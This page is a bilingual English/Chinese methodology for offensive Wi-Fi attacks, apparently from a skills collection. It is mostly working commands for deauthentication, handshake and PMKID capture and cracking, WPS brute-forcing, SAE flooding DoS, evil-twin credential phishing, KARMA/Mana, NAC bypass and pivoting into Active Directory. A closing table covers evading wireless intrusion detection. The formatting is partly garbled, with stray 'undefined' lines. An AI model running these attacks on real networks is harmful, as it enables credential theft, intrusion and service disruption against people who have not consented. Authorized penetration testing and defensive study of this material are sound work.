Back to Details

offensive-wifi

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Wireless / 802.11 — Offensive Testing Methodology

Wireless / 802.11 — 攻击性测试方法

Quick Workflow

快速工作流

  1. Pick the right adapter (monitor mode + injection + correct band/PHY for target)
  2. Recon airspace passively — never deauth before you know the topology
  3. Choose attack: handshake capture, PMKID, evil twin, KARMA, or WPS
  4. Crack offline; do not rely on online dictionary attacks
  5. If WPA-Enterprise, pivot through stolen creds or rogue RADIUS
  1. 选择合适的适配器（monitor mode + injection，并匹配目标的正确 band/PHY）
  2. 被动侦察无线空口——在了解拓扑之前，绝不要执行 deauth
  3. 选择攻击方式：handshake capture、PMKID、evil twin、KARMA 或 WPS
  4. 进行离线破解；不要依赖在线字典攻击
  5. 如果目标使用 WPA-Enterprise，则通过窃取的凭据或 rogue RADIUS 进行横向移动

Hardware & Adapter Selection

硬件与适配器选择

ChipsetStrengthsNotes
Atheros AR9271 (Alfa AWUS036NHA)Solid 2.4 GHz monitor + injection802.11n only
Realtek RTL8812AU (AWUS036ACH)Dual-band, injectionDriver: 
aircrack-ng/rtl8812au
MediaTek MT7612U (AWUS036ACM)Stable dual-bandModern kernels in-tree
MediaTek MT7921AUWi-Fi 6 monitor (limited)Patched drivers required
AWUS036AXML / AXMWi-Fi 6E (6 GHz)Bleeding edge — verify per release
bash
undefined
芯片组优势备注
Atheros AR9271 (Alfa AWUS036NHA)稳定的 2.4 GHz monitor + injection 支持仅支持 802.11n
Realtek RTL8812AU (AWUS036ACH)双频段，支持 injection驱动：
aircrack-ng/rtl8812au
MediaTek MT7612U (AWUS036ACM)稳定的双频段支持现代内核已原生支持
MediaTek MT7921AU支持 Wi-Fi 6 monitor（有限）需要打过补丁的驱动
AWUS036AXML / AXMWi-Fi 6E（6 GHz）前沿特性——需按版本逐一验证
bash
undefined

Verify monitor + injection

Verify monitor + injection

sudo airmon-ng check kill sudo airmon-ng start wlan0 sudo aireplay-ng --test wlan0mon iw list | grep -A 8 "Supported interface modes"

---
sudo airmon-ng check kill sudo airmon-ng start wlan0 sudo aireplay-ng --test wlan0mon iw list | grep -A 8 "Supported interface modes"

---

Reconnaissance

侦察

bash
undefined
bash
undefined

Multi-channel discovery (all bands)

Multi-channel discovery (all bands)

sudo airodump-ng wlan0mon --band abg
sudo airodump-ng wlan0mon --band abg

Targeted on a known channel/BSSID

Targeted on a known channel/BSSID

sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon

Hidden SSID — wait for client probe or force deauth

Hidden SSID — wait for client probe or force deauth

sudo airodump-ng -c 6 --essid-regex "." wlan0mon
sudo airodump-ng -c 6 --essid-regex "." wlan0mon

Wigle / Kismet for war-driving

Wigle / Kismet for war-driving

kismet -c wlan0mon

**Key data to record:** BSSID, ESSID, channel, encryption, PMF status, client list, RSSI, vendor OUI.

---
kismet -c wlan0mon

**需要记录的关键数据：** BSSID、ESSID、信道、加密方式、PMF 状态、客户端列表、RSSI、厂商 OUI。

---

WPA / WPA2-PSK

WPA / WPA2-PSK

Four-way Handshake Capture

四次握手捕获

bash
undefined
bash
undefined

Targeted capture

Targeted capture

sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon

Force a reconnect (deauth one client, do not blanket the AP)

Force a reconnect (deauth one client, do not blanket the AP)

sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

Verify the EAPOL frames are usable:

```bash
hcxpcapngtool -o hash.hc22000 handshake-01.cap
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

验证 EAPOL 帧是否可用：

```bash
hcxpcapngtool -o hash.hc22000 handshake-01.cap

PMKID (No Client Required)

PMKID（无需客户端）

PMKID lives in the first AP-to-station message — you can grab it without anyone connected.
bash
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
  --enable_status=1 --filterlist_ap=targets.txt --filtermode=2

hcxpcapngtool -o hash.hc22000 pmkid.pcapng
PMKID 位于 AP 到 station 的第一条消息中——无需任何客户端处于连接状态即可获取。
bash
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
  --enable_status=1 --filterlist_ap=targets.txt --filtermode=2

hcxpcapngtool -o hash.hc22000 pmkid.pcapng

Cracking

破解

bash
undefined
bash
undefined

GPU dictionary attack

GPU dictionary attack

hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule

Mask attack (e.g. carrier defaults: 10 digits)

Mask attack (e.g. carrier defaults: 10 digits)

hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d

Known SSID-based defaults (e.g. UPC, Sky, BTHub generators)

Known SSID-based defaults (e.g. UPC, Sky, BTHub generators)

upc_keys ESSID | hashcat -m 22000 hash.hc22000 -

---
upc_keys ESSID | hashcat -m 22000 hash.hc22000 -

---

WPA3 / SAE

WPA3 / SAE

Transition-Mode Downgrade

过渡模式降级

If the AP advertises both WPA2 and WPA3 (transition mode), force clients onto WPA2 by spoofing an RSN-only beacon and capturing as PSK.
如果 AP 同时通告 WPA2 和 WPA3（transition mode），可伪造仅包含 RSN 的 beacon，迫使客户端使用 WPA2，并以 PSK 形式捕获握手。

Dragonblood (CVE-2019-9494/9495/13377)

Dragonblood（CVE-2019-9494/9495/13377）

Side-channel and downgrade attacks on SAE. Older hostapd (<2.10) with insufficient curve diversification leaks password elements via timing/cache attacks.
bash
undefined
针对 SAE 的侧信道与降级攻击。较旧的 hostapd（<2.10）若缺乏足够的 curve diversification，可能通过计时/缓存攻击泄露密码元素。
bash
undefined

Reference implementation

Reference implementation

git clone https://github.com/vanhoefm/dragonblood python3 dragondrain.py wlan0mon AA:BB:CC:DD:EE:FF python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon
undefined
git clone https://github.com/vanhoefm/dragonblood python3 dragondrain.py wlan0mon AA:BB:CC:DD:EE:FF python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon
undefined

SAE Auth Flooding (Resource Exhaustion)

SAE 认证洪泛（资源耗尽）

bash
sudo mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF -m -s 1024
bash
sudo mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF -m -s 1024

Triggers heavy crypto on AP CPU; can DoS lower-end deployments

Triggers heavy crypto on AP CPU; can DoS lower-end deployments


---

触发 AP CPU 执行高负载加密运算，可导致低端部署发生 DoS。

---

WPA-Enterprise (802.1X / EAP)

WPA-Enterprise（802.1X / EAP）

Method Identification

方法识别

bash
undefined
bash
undefined

Watch initial EAP-Request/Identity to fingerprint method

Watch initial EAP-Request/Identity to fingerprint method

tshark -i wlan0mon -Y "eapol || eap" -V

| Inner Method | Attack |
|--------------|--------|
| EAP-MSCHAPv2 (PEAP/TTLS) | Crack NetNTLMv1-style challenge offline |
| EAP-GTC | Cleartext password — capture via rogue RADIUS |
| EAP-TLS | Steal client cert (often in user keychain / DPAPI / NDES) |
| EAP-PWD | Dragonblood-class side channels |
tshark -i wlan0mon -Y "eapol || eap" -V

| 内部方法 | 攻击方式 |
|--------------|--------|
| EAP-MSCHAPv2（PEAP/TTLS） | 离线破解 NetNTLMv1 风格的 challenge |
| EAP-GTC | 明文密码——通过 rogue RADIUS 捕获 |
| EAP-TLS | 窃取客户端证书（通常位于用户 keychain / DPAPI / NDES 中） |
| EAP-PWD | Dragonblood 类侧信道 |

Evil-Twin RADIUS (MSCHAPv2 / GTC)

Evil-Twin RADIUS（MSCHAPv2 / GTC）

bash
undefined
bash
undefined

eaphammer — automated rogue AP + RADIUS

eaphammer — automated rogue AP + RADIUS

eaphammer -i wlan0 --essid CorpWiFi --bssid AA:BB:CC:DD:EE:FF
--auth wpa-eap --creds
eaphammer -i wlan0 --essid CorpWiFi --bssid AA:BB:CC:DD:EE:FF
--auth wpa-eap --creds

Captured hashes → asleap or hashcat -m 5500

Captured hashes → asleap or hashcat -m 5500

asleap -C challenge -R response -W wordlist.txt

**Critical:** organizations that don't pin server cert + CN on supplicants are vulnerable. Win10/11 with `ServerValidation` disabled (common for BYOD) will hand over creds.
asleap -C challenge -R response -W wordlist.txt

**关键：** 未在 supplicant 上固定服务器证书 + CN 的组织容易受到攻击。Win10/11 禁用 `ServerValidation`（BYOD 中很常见）时会交出凭据。

EAP-TLS Cert Theft Paths

EAP-TLS 证书窃取路径

  • DPAPI master key + cert blob from user profile (
    %APPDATA%\Microsoft\SystemCertificates
    )
  • NDES misconfig (ESC8-class cert request abuse)
  • ADCS user auto-enrollment template with weak ACL
  • 从用户配置文件中获取 DPAPI 主密钥与证书 blob（
    %APPDATA%\Microsoft\SystemCertificates
    ）
  • NDES 配置错误（ESC8 类证书请求滥用）
  • ADCS 用户自动注册模板的 ACL 过弱

WPS

WPS

Pixie Dust (Offline)

Pixie Dust（离线）

bash
undefined
bash
undefined

Capture WPS exchange

Capture WPS exchange

reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv

Or

Or

bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0mon

Vulnerable chipsets: Ralink, Realtek, Broadcom (older firmware), MediaTek (specific revs). Pixiewps recovers PIN in seconds when nonces are predictable.
bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0mon

易受攻击的芯片组：Ralink、Realtek、Broadcom（旧版固件）、MediaTek（特定版本）。当 nonce 可预测时，Pixiewps 可在数秒内恢复 PIN。

Online PIN Brute (Last Resort)

在线 PIN 暴力枚举（最后手段）

bash
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -L -N -d 15 -t 30 -T .5 -r 3:30
bash
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -L -N -d 15 -t 30 -T .5 -r 3:30

Most modern APs lock out after a few failures — slow and noisy

Most modern APs lock out after a few failures — slow and noisy


---

大多数现代 AP 在几次失败后会锁定——这种方式缓慢且会产生大量噪声。

---

Evil Twin / KARMA / Mana

Evil Twin / KARMA / Mana

Stock Evil Twin (Captive Portal)

标准 Evil Twin（Captive Portal）

bash
undefined
bash
undefined

wifiphisher — automated AP + phishing portal

wifiphisher — automated AP + phishing portal

sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd
sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd

airgeddon — interactive menu (good for one-off engagements)

airgeddon — interactive menu (good for one-off engagements)

sudo airgeddon
undefined
sudo airgeddon
undefined

KARMA / Mana (Probe Exploitation)

KARMA / Mana（Probe 利用）

Older stations broadcast PNL (Preferred Network List) probes. KARMA replies "yes" to anything; Mana picks one realistic ESSID and answers consistently to defeat MAC randomization.
bash
undefined
较旧的 station 会广播 PNL（Preferred Network List）probe。KARMA 会回复“yes”回应任意请求；Mana 则选择一个符合场景的 ESSID 并持续一致地回应，以规避 MAC 随机化。
bash
undefined

hostapd-mana

hostapd-mana

sudo hostapd-mana ./mana.conf
sudo hostapd-mana ./mana.conf

Combine with rogue RADIUS for enterprise nets

Combine with rogue RADIUS for enterprise nets

eaphammer -i wlan0 --known-beacons --known-ssids-file ssids.txt
--auth wpa-eap --creds --hostile-portal
undefined
eaphammer -i wlan0 --known-beacons --known-ssids-file ssids.txt
--auth wpa-eap --creds --hostile-portal
undefined

MAC Randomization Defeat

MAC 随机化规避

iOS/Android randomize MACs but leak per-SSID stable IDs. Cluster probes by sequence number and timing to re-identify devices.
iOS/Android 会随机化 MAC，但会泄露按 SSID 保持稳定的 ID。根据 sequence number 和 timing 对 probe 进行聚类，以重新识别设备。

KRACK & FragAttacks

KRACK 与 FragAttacks

AttackClassTarget
KRACK (CVE-2017-13077..082)Key reinstallationUnpatched WPA2 supplicants
FragAttacks (CVE-2020-24586..588)Fragmentation/aggregationMost pre-2021 implementations
Test a network's patch status:
bash
undefined
攻击类别目标
KRACK（CVE-2017-13077..082）密钥重安装未打补丁的 WPA2 supplicant
FragAttacks（CVE-2020-24586..588）分片/聚合大多数 2021 年之前的实现
测试网络的补丁状态：
bash
undefined

Vanhoef test scripts

Vanhoef test scripts

git clone https://github.com/vanhoefm/krackattacks-scripts ./krack-test-client.py git clone https://github.com/vanhoefm/fragattacks ./test-fragattacks.py wlan0

---
git clone https://github.com/vanhoefm/krackattacks-scripts ./krack-test-client.py git clone https://github.com/vanhoefm/fragattacks ./test-fragattacks.py wlan0

---

Deauth / Disassociation Attacks

Deauth / Disassociation 攻击

bash
undefined
bash
undefined

Single client deauth (use for handshake capture)

Single client deauth (use for handshake capture)

aireplay-ng --deauth 3 -a AP -c CLIENT wlan0mon
aireplay-ng --deauth 3 -a AP -c CLIENT wlan0mon

Broadcast (DoS — only with explicit authorization)

Broadcast (DoS — only with explicit authorization)

mdk4 wlan0mon d -B target_bssids.txt
mdk4 wlan0mon d -B target_bssids.txt

Disassoc + auth flood combo (kicks then prevents reconnect)

Disassoc + auth flood combo (kicks then prevents reconnect)

mdk4 wlan0mon a -a AP_BSSID -m

802.11w (PMF) blocks unencrypted deauth. Most modern enterprise APs require it. Clients without PMF support are still kickable via `Action` frames.

---
mdk4 wlan0mon a -a AP_BSSID -m

802.11w（PMF）会阻止未加密的 deauth。大多数现代企业 AP 都要求启用它。不支持 PMF 的客户端仍可通过 `Action` 帧被踢下线。

---

802.1X / Wired NAC Bypass (Adjacent)

802.1X / 有线 NAC 绕过（相邻场景）

bash
undefined
bash
undefined

Sniff valid 802.1X exchange on wired side

Sniff valid 802.1X exchange on wired side

tcpdump -i eth0 -w nac.pcap ether proto 0x888e
tcpdump -i eth0 -w nac.pcap ether proto 0x888e

silentbridge / nac_bypass — transparently bridge through an authenticated host

silentbridge / nac_bypass — transparently bridge through an authenticated host

git clone https://github.com/s0lst1c3/silentbridge silentbridge --takeover --phy wlan0 # variants for wired

---
git clone https://github.com/s0lst1c3/silentbridge silentbridge --takeover --phy wlan0 # variants for wired

---

Wi-Fi 6 / 6E / 7 Considerations

Wi-Fi 6 / 6E / 7 注意事项

  • 6 GHz (Wi-Fi 6E) disables WPA2-only; WPA3 + PMF mandatory. Many attacks are mitigated by spec.
  • OFDMA / MU-MIMO: legacy injection often misaligns with RU allocations — verify packet delivery on test bench.
  • TWT (Target Wake Time): deauth windows differ; observe BA sessions before injecting.
  • MLO (Wi-Fi 7): a single client over multiple links — capture must cover all links to recover full session.
  • **6 GHz（Wi-Fi 6E）**禁用仅支持 WPA2 的模式；强制使用 WPA3 + PMF。规范本身已缓解许多攻击。
  • OFDMA / MU-MIMO：传统 injection 通常与 RU allocation 不匹配——应在测试环境中验证数据包是否能够送达。
  • TWT（Target Wake Time）：deauth 时间窗口有所不同；注入前应观察 BA session。
  • MLO（Wi-Fi 7）：单个客户端可跨多个链路连接——捕获时必须覆盖所有链路，才能恢复完整 session。

Sidebands & Adjacent Wireless

邻近无线协议

TechToolNotes
Bluetooth Classic
redfang
, 
crackle
, 
btproxy
LMP/L2CAP fuzzing
BLE
bettercap
, 
Sniffle
(TI CC1352), 
Frontline
GATT enumeration, LE Secure Connections downgrade
Zigbee / 802.15.4
KillerBee
, 
apimote
, 
ATUSB
Touchlink commissioning abuse
Z-Wave
Z-Force
, 
EZ-Wave
S0 key reuse bug class
LoRa / LoRaWAN
LoRaPWN
, 
ChirpStack
Join-request replay, ABP key reuse
433/868 MHz (Sub-GHz)HackRF / Flipper ZeroGarage doors, doorbells, telemetry
技术工具备注
Bluetooth Classic
redfang
、
crackle
、
btproxy
LMP/L2CAP fuzzing
BLE
bettercap
、
Sniffle
（TI CC1352）、
Frontline
GATT 枚举、LE Secure Connections 降级
Zigbee / 802.15.4
KillerBee
、
apimote
、
ATUSB
Touchlink commissioning 滥用
Z-Wave
Z-Force
、
EZ-Wave
S0 密钥复用漏洞类别
LoRa / LoRaWAN
LoRaPWN
、
ChirpStack
Join-request 重放、ABP 密钥复用
433/868 MHz（Sub-GHz）HackRF / Flipper Zero车库门、门铃、遥测设备

RADIUS / Backend Pivots Post-Compromise

RADIUS / 后端失陷后的横向移动

bash
undefined
bash
undefined

If you crack a domain user via PEAP-MSCHAPv2, pivot to AD

If you crack a domain user via PEAP-MSCHAPv2, pivot to AD

nxc smb dc -u captured_user -p cracked_pass --pass-pol
nxc smb dc -u captured_user -p cracked_pass --pass-pol

If RADIUS server is stand-alone (FreeRADIUS), check users file & MOTP secrets

If RADIUS server is stand-alone (FreeRADIUS), check users file & MOTP secrets

If on Windows NPS, pivot via the service account context

If on Windows NPS, pivot via the service account context


---

- 如果通过 PEAP-MSCHAPv2 破解域用户凭据，则横向移动到 AD
- 如果 RADIUS 服务器是独立部署的（FreeRADIUS），检查 users 文件与 MOTP secrets
- 如果运行于 Windows NPS，则通过服务账户上下文进行横向移动

---

Engagement Cheatsheet

渗透测试项目速查表

bash
undefined
bash
undefined

1. Setup

1. Setup

sudo airmon-ng check kill && sudo airmon-ng start wlan0 sudo iw reg set US
sudo airmon-ng check kill && sudo airmon-ng start wlan0 sudo iw reg set US

2. Recon (do not deauth yet)

2. Recon (do not deauth yet)

sudo airodump-ng wlan0mon --band abg --write recon
sudo airodump-ng wlan0mon --band abg --write recon

3. PMKID sweep (passive)

3. PMKID sweep (passive)

sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1

4. Targeted capture if PMKID empty

4. Targeted capture if PMKID empty

sudo airodump-ng -c <ch> --bssid <AP> -w cap wlan0mon & sudo aireplay-ng --deauth 3 -a <AP> -c <client> wlan0mon
sudo airodump-ng -c <ch> --bssid <AP> -w cap wlan0mon & sudo aireplay-ng --deauth 3 -a <AP> -c <client> wlan0mon

5. Crack offline

5. Crack offline

hashcat -m 22000 hash.hc22000 wordlist.txt -r best64.rule
hashcat -m 22000 hash.hc22000 wordlist.txt -r best64.rule

6. If enterprise → eaphammer evil twin

6. If enterprise → eaphammer evil twin

7. Document SSID, BSSID, channel, RSSI, encryption, attack used, time

7. Document SSID, BSSID, channel, RSSI, encryption, attack used, time


---

---

Detection / Defender View

检测 / 防御方视角

AP/WIDS DetectorTriggerEvasion
Excessive deauth>5 deauth/sec from one source MACSpread across spoofed MACs, target individuals
Rogue AP detectionUnauthorized BSSID on monitored channelMatch real BSSID's beacon timing/IE order exactly
Karma response anomalyAP answering all probe SSIDsUse Mana mode, pick one plausible SSID
WPS lockoutRepeated PIN failuresPixie Dust offline only, abandon online brute
RADIUS log: cert mismatchSupplicant rejects evil-twin certUse copies of victim CA-signed certs (unlikely)
AP/WIDS 检测器触发条件规避方式
过量 deauth单一源 MAC 每秒发送超过 5 个 deauth将请求分散到多个伪造 MAC，并针对特定个体
rogue AP 检测在受监控信道中发现未授权 BSSID精确匹配真实 BSSID 的 beacon timing 和 IE 顺序
KARMA 响应异常AP 响应所有 probe SSID使用 Mana 模式，选择一个看似合理的 SSID
WPS 锁定反复尝试 PIN 失败仅使用离线 Pixie Dust，放弃在线暴力枚举
RADIUS 日志：证书不匹配supplicant 拒绝 evil-twin 证书使用受害者 CA 签名证书的副本（不太可能）

Key References

关键参考